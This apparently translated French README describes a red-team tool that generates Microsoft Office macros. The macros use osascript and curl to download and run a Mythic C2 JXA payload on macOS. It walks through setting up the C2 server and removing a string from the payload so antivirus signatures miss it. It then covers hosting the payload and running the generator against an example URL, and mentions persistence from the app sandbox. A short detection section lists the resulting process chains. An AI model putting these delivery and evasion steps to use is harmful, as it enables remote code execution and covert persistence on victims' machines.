
Script Python3 pour générer une macro afin de lancer une charge utile Mythic. Auteur : Cedric Owens
Script Python3 pour générer des macros MS Office pour lancer des payloads JXA Mythic.
Ce script génère une macro Office qui utilise osascript pour télécharger et exécuter le payload JXA .js de Mythic.
Étapes :
Configurez le serveur C2 Mythic et générez un payload jxa "apfell" (note : ce générateur suppose que le payload utilise http et non https... si vous utilisez https à la place, vous pouvez simplement modifier le script du générateur pour que curl utilise https). Téléchargez ce payload sur le serveur Mythic.
Supprimez la première ligne du lanceur JXA .js de Mythic ("// Created by Cody Thomas - @its_a_feature_"). Certaines signatures statiques d'antivirus sont connues pour vérifier cette chaîne statique. Hébergez ce payload (ex : placez le payload .js dans un dossier et utilisez python -m SimpleHTTPServer pour l'héberger)
Exécutez ce générateur de macros :
python3 jxa-macro.py -u [url to the hosted .js payload in #2 above]
exemple : python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js
Le texte de la macro sera placé dans un fichier nommé "macro.txt" dans le même répertoire.
Copiez et collez cette macro dans un document MS Office.
Détection :
Cette macro génère les relations parent-enfant suivantes qui peuvent être utilisées pour la détection :
Produit Office (ex : Microsoft Word.app) --> /bin/sh
Produit Office (ex : Microsoft Word.app) --> /bin/bash
Produit Office (ex : Microsoft Word.app) --> /usr/bin/curl
Remarque : Cela lancera le payload JXA à l'intérieur du Sandbox d'application. Cependant, Mythic a la capacité d'ajouter une persistance d'élément de connexion même depuis le Sandbox d'application.